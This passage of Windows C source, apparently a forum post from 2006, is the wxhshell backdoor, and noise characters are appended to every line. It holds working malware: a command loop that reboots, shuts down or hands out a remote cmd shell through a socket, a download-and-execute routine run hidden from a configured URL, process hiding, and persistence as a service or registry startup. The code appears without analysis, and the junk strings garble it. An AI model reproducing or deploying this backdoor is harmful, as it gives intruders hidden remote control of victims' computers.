    switch(cmd[0]) { /qX=rlQ/n  
  eZ[O:Wvk:  
  // 帮助 ~xaPq=AH  
  case '?': { o+T %n1$+V  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Y)]x1I  
    break; 6 P6Pl&  
  } *#2]`G)  
  // 安装 ;/]v mgl2  
  case 'i': { WT9 k85hqj  
    if(Install()) )=c/{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VOK0)O>&  
    else h TY7`m">  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aR}L- -m  
    break; A ^wIsAxT  
    } c$[cDf~  
  // 卸载 E[N3`"  
  case 'r': { Y$ To)qo  
    if(Uninstall()) j)neVPf%v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w-M,@[G  
    else z&r@c-l@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ES&"zjr$  
    break; Gh#$[5&`  
    } ",gWO 8T  
  // 显示 wxhshell 所在路径 tE]0 #B)D<  
  case 'p': { MTxe5ob`$Q  
    char svExeFile[MAX_PATH]; Q-M"+HO  
    strcpy(svExeFile,"\n\r"); +:&,Ts/  
      strcat(svExeFile,ExeFile); .G|9:b  
        send(wsh,svExeFile,strlen(svExeFile),0); =u#xPI0:  
    break; /^TXGc.  
    } .Q^8 _'ZG  
  // 重启 0pu=,  
  case 'b': { cK(S{|F  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); CHPu$eu  
    if(Boot(REBOOT)) C VyE5w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vw/L|b7G  
    else { > R5<D'cEN  
    closesocket(wsh); O0VbKW0h3  
    ExitThread(0); 3"ii_#1  
    } ya^zlj\`0e  
    break; i`}nv,  
    } R8U?s/*  
  // 关机 g*nh8  
  case 'd': { "}(g3Iy  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); k;bdzcMkQ  
    if(Boot(SHUTDOWN)) z|:3,$~sN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j~@Hj$APa`  
    else { IyfhVk?  
    closesocket(wsh); 1\'zq;I~  
    ExitThread(0); !jeoB  
    } !^:)zORYR  
    break; utDjN"  
    } t kJw}W1@  
  // 获取shell dq&N;kk |  
  case 's': { ^t'mfG|DV  
    CmdShell(wsh); :t36]NM  
    closesocket(wsh);  *Fe  
    ExitThread(0); ~ojH$=K>d  
    break; D|`I"N[<  
  } :QV-!  
  // 退出 B]o5 HA<k  
  case 'x': { 2# y!(D8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); V"T48~Ue  
    CloseIt(wsh); muc>4!Q  
    break; d/fg  
    } n\ yDMY  
  // 离开 zFn-V EJ)  
  case 'q': { '%2q'LqSA  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `?fY!5BA  
    closesocket(wsh); @6N$!Q?  
    WSACleanup(); 5A~lu4-q  
    exit(1); HoIK^t~VT#  
    break; TC%ENxDR  
        } %xq/eC7  
  } ;MH<T6b  
  } 6/Pw'4H9$  
hrRkam !y  
  // 提示信息 Ob"48{w$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l*`2 EJ  
} MY[QYBkn}  
  } /kLG/ry8l:  
PSM~10l,  
  return; CSC sJE#4  
} *}hx9:9\B  
srbU}u3VZ  
// shell模块句柄 E mUA38  
int CmdShell(SOCKET sock) =68CR[H  
{ E9]/sFA-]  
STARTUPINFO si; f ;[\'_.*  
ZeroMemory(&si,sizeof(si)); "5+x6/9b  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; jC;^ 2e  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; EPE9HvN  
PROCESS_INFORMATION ProcessInfo; [-*1M4D9  
char cmdline[]="cmd"; ?'@tx4#v\2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); d1"%sI  
  return 0; 3j]P\T  
} e B$ S d  
l20fA-T _I  
// 自身启动模式 Y] ZNAR  
int StartFromService(void) Vl0 J!JK_  
{ =%}++7#  
typedef struct uTemAIp $u  
{ )9.i'{{ 0  
  DWORD ExitStatus; -jv%BJJlX  
  DWORD PebBaseAddress; +EtL+Y (U  
  DWORD AffinityMask; 0gs0[@  
  DWORD BasePriority; Q/y^ff]=  
  ULONG UniqueProcessId; v7i5R !  
  ULONG InheritedFromUniqueProcessId; B-@ ]+W  
}   PROCESS_BASIC_INFORMATION; &K1\"  
o:E_k#Fi  
PROCNTQSIP NtQueryInformationProcess; <K$X>&Ts  
kFJ sB,2-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; errT7&@,A  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; OJkiTs{  
HH\6gs]u  
  HANDLE             hProcess; b?p_mQKtZ  
  PROCESS_BASIC_INFORMATION pbi; @213KmB.  
) N8 [@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5iG+O4n%  
  if(NULL == hInst ) return 0; Hq[vh7Lux  
'g4t !__  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1qR[& =/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); dFu<h   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :|GC~JElo5  
W' DpI7  
  if (!NtQueryInformationProcess) return 0; &m>yY{ be  
TTJFF\$?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); m_ |:tU(t  
  if(!hProcess) return 0; (#dwIBBFt  
F|eKt/>e  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; A@-A_=a,  
YkPc&&#  
  CloseHandle(hProcess); Ly?%RmHK  
*@XJ7G[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); O[N}@%HMW  
if(hProcess==NULL) return 0; *bl*R';  
$*%ipD}f  
HMODULE hMod; @Gh?|d7bD  
char procName[255]; "|2|Vju%  
unsigned long cbNeeded; f`8]4ms"  
R::0.*FF  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7+,6 m!4  
(-RZ|VdYg  
  CloseHandle(hProcess); y5td o'Ex  
sd@JQ%O  
if(strstr(procName,"services")) return 1; // 以服务启动 ^`W8>czi  
5$v,%~$Xds  
  return 0; // 注册表启动 @AXRKYQ{t  
} +YL9gNN>P  
F~NmLm  
// 主模块 A,tmy',d"  
int StartWxhshell(LPSTR lpCmdLine) \m>mE/N  
{ KxEy N(n  
  SOCKET wsl; aR iD}P*V  
BOOL val=TRUE; '8au j  
  int port=0; <.DFa/G   
  struct sockaddr_in door; kl0!*j  
;3nR_6\  
  if(wscfg.ws_autoins) Install(); [hLSK-K 9  
BCw5.@HK*  
port=atoi(lpCmdLine); x1gfo!BN  
-QUr|:SK:  
if(port<=0) port=wscfg.ws_port; ?r~|B/ ]  
duCso M/  
  WSADATA data; m+f?+c6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; M![aty@  
FC'v= *  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   dG6 G  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); W[5a'}OV  
  door.sin_family = AF_INET; >i`V-"x  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); i\2d1Z  
  door.sin_port = htons(port); cJ6n@\  
uxGY/Zf  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =~)J:x\F  
closesocket(wsl); X+'z@xpj  
return 1; NTnjVU }  
} Km5#$IiP;  
l!U_7)s/  
  if(listen(wsl,2) == INVALID_SOCKET) { b(hnouS  
closesocket(wsl); WUVRwJ 5  
return 1; 5h"moh9tG  
} : ryE`EhB  
  Wxhshell(wsl); Im NTk  
  WSACleanup(); -~nU&$ccL  
Hs%;uyI@$  
return 0; ])d_B\)Kck  
E]^wsS>=  
} `/zx2Tkk  
a(+.rf;  
// 以NT服务方式启动 ?2Q9z-$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) tBtG- X2  
{ &f}a`/{@  
DWORD   status = 0; ZnX]Q+w  
  DWORD   specificError = 0xfffffff; *W'F 6Hpu  
a3&&7n  
  serviceStatus.dwServiceType     = SERVICE_WIN32; E%R^ kqqr  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >~;MQDU5*Y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Kq`C5  
  serviceStatus.dwWin32ExitCode     = 0; y^7ol;t  
  serviceStatus.dwServiceSpecificExitCode = 0; Z9:erKT   
  serviceStatus.dwCheckPoint       = 0; )2@_V %  
  serviceStatus.dwWaitHint       = 0; x%acWeV5  
*Q?ZJS ~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); V3<baxdE  
  if (hServiceStatusHandle==0) return; 9<0p1WO  
.hYrE5\-  
status = GetLastError(); `+IB;G1  
  if (status!=NO_ERROR) 6g/ <FM  
{ 2>l =oXq  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~$#"'Tl4J  
    serviceStatus.dwCheckPoint       = 0; (dOC ^i  
    serviceStatus.dwWaitHint       = 0; 1_D|;/aI  
    serviceStatus.dwWin32ExitCode     = status; o80"ZU|=  
    serviceStatus.dwServiceSpecificExitCode = specificError; M YQZqlV  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #Y*?k TF  
    return; k4|9'V&1*6  
  } vqq7IV)|  
[dm&I#m=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <kQ 5sG  
  serviceStatus.dwCheckPoint       = 0; rJ LlDKP-(  
  serviceStatus.dwWaitHint       = 0; }GIwYh/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); UL81x72O  
} JArSJ:}  
?(9/V7HQ.5  
// 处理NT服务事件,比如:启动、停止 t> D|1E"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %SKp<>;9  
{ Uu~7+oaQ  
switch(fdwControl) <h(KI Y9T  
{ tx$kD2  
case SERVICE_CONTROL_STOP: =0te.io)3O  
  serviceStatus.dwWin32ExitCode = 0; K[tQ>C@s2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; W|IMnK-  
  serviceStatus.dwCheckPoint   = 0; %LeQpbyOR  
  serviceStatus.dwWaitHint     = 0; ' `0kW_'  
  { Vej [wY-c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pwg$% lv  
  } X?,ly3,  
  return; up[9L|  
case SERVICE_CONTROL_PAUSE: z 6~cm6j  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .}.?b  
  break; r-M:YB  
case SERVICE_CONTROL_CONTINUE: + .Pv:7gh  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .Dn.|A  
  break; pmm?Fq!s=  
case SERVICE_CONTROL_INTERROGATE: U} EaV<  
  break; ^Eu]i  
}; 4uQ\JD(*Eu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); CqMm'6;$a}  
} <Fkm7ME]  
x -wIgo+  
// 标准应用程序主函数 pGQP9r%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) MAhJ>qe8 p  
{ k[TVu5R  
==zt)s.G(+  
// 获取操作系统版本 =o N(1k^  
OsIsNt=GetOsVer(); 2K^D%U  
GetModuleFileName(NULL,ExeFile,MAX_PATH); sVk+E'q  
qPh @Bl3  
  // 从命令行安装 A 1b</2  
  if(strpbrk(lpCmdLine,"iI")) Install(); X9W'.s.[Q  
gZa/?[+  
  // 下载执行文件 ]Gk;n/! B  
if(wscfg.ws_downexe) { NSQ}:m  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \Wdl1 =`  
  WinExec(wscfg.ws_filenam,SW_HIDE); {M`yYeo  
} 9g*O;0uz  
=?o,' n0  
if(!OsIsNt) { $]V,H"  
// 如果时win9x,隐藏进程并且设置为注册表启动 PUt\^ke  
HideProc(); C$"N)6%q  
StartWxhshell(lpCmdLine); Y(aEp_kV  
} D{-h2=V  
else "4Joou"U  
  if(StartFromService()) ;yfKYN[  
  // 以服务方式启动 ;kSRv=S  
  StartServiceCtrlDispatcher(DispatchTable); 3Go/5X/  
else -s?f<f{  
  // 普通方式启动 = NHE_ 4/p  
  StartWxhshell(lpCmdLine); rF9|xgFK  
[}xVz"8V  
return 0; r]e1a\)r  
}
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只看该作者 1 发表于: 2006-10-10
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